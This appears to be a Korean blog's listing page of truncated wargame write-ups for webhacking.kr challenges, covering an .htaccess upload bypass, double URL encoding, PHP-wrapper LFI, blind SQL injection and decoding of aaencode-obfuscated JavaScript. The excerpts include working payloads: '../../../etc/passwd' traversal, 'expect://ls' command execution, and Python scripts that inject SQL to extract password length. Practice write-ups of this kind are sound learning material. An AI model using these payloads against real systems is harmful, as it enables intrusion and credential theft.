워게임200 webhacking.kr old 28번 (.htaccess) flag.php를 보면 빈 페이지이다. 파일을 올려보면 php가 실행되지 않고 그대로 출력된다. 이렇게 파일을 만들고 업로드한다. [**] .htaccess는 apache 설정파일 wappalyzer로 apache를 사용중임을 알 수 있다. 2021. 10. 26. webhacking.kr old 26번 (url decode 2번) admin을 url encode할 수 있다. 구글에 치면 나오는 url encoder에 넣지 않고 바꿀 수 있는 방법이 있다. python> ord('a') = 97 = 0x61/ ord('d') = 100 = 0x64 ... admin -> %61%64... 와 같이 바꿀 수 있다. 그렇다면 admin = %61%64%6D%69%6E " 웹 서버와 브라우저 사이에서 데이터를 교환할 때, 브라우저는 폼에서 입력받은 데이터를 자동으로 인코딩한 값을 보내고 php는 자동으로 디코딩하기 때문 " 이라고 한다. 즉, 한 번 더 url encoding해서 ?id=에 넣으면 된다. %2561%2564%256D%2569%256E 2021. 10. 23. webhacking.kr old 25번(php wrapper) wrapper란 - 실제 데이터의 앞에서 어떤 틀을 잡아주는 데이터 - 또는 다른 프로그램이 성공적으로 실행되도록 설정하는 프로그램 원래 php wrapper는 개발자들의 개발을 돕기 위해 만들어진 기능이지만 우린 이 기능을 사용한 LFI에 대해 알아본다. LFI하면 보편적으로 떠오르는 생각은 ?page=../../../etc/passwd/(널바이트) 여기서 널바이트는 주소 뒤에 붙을 확장자를 떼어주는 역할 그러나 php v5 이상이 되면서 path 중간에 null byte가 오면 더 이상 주소를 읽지않는 취약점이 사라졌다. 이 때문에 php wrapper를 사용해 LFI 공격을 수행해야 한다. 1. expect:// system command를 실행시켜 준다. ?page=expect://ls 같은 방식.. 2021. 10. 23. webhacking.kr old 22번(blind sql injection) guest/guest로 join qwerty/qwerty로 join해도 해시 crack해보면 qwertyapple인 것을 알 수 있다. DB에 입력한 비밀번호+"apple"로 저장되는 듯 import requests i=1 while True: URL = f"https://webhacking.kr/challenge/bonus-2/" data = { "uuid" : f"admin' and length(pw)={i}#", "pw" : "asdf" } res = requests.post(URL, data=data) if "Wrong password!" in res.text: print(i) break i+=1 => 32 (길이) import requests pw="" for i in range(1, 33): .. 2021. 10. 23. webhacking.kr old 21번(blind sql injection) guest/guest -> login success admin/qwerty -> login fail admin'#/qwerty -> wrong password wrong password면 일단 맞는걸로 import requests for i in range(1, 40): url = f"https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw=q' or id='admin' and length(pw)={i}%23" res = requests.get(url) if 'wrong password' in res.text: print(i) break => pw길이: 36 import requests pw="" for i in range(1, 37): for c i.. 2021. 10. 22. webhacking.kr old 12번(javascript난독화 aaencode) 난독화된 javascript 코드가 나오는데, aaencode되어있는 코드라고 한다. https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html aadecode - Decode encoded-as-aaencode JavaScript program. ['_'] aadecode - Decode encoded-as-aaencode JavaScript program. (゚Д゚) ['_'] Enter ... cat-in-136.github.io 이 사이트로 난독화 해제하거나, chrome console창에 맨 마지막 ('_');를 빼고 치면 바로 해제된다. (정확하진 않지만 시그니처같은 것 같다) var enco=''; var enc.. 2021. 10. 21. 이전 1 ··· 12 13 14 15 16 17 18 ··· 34 다음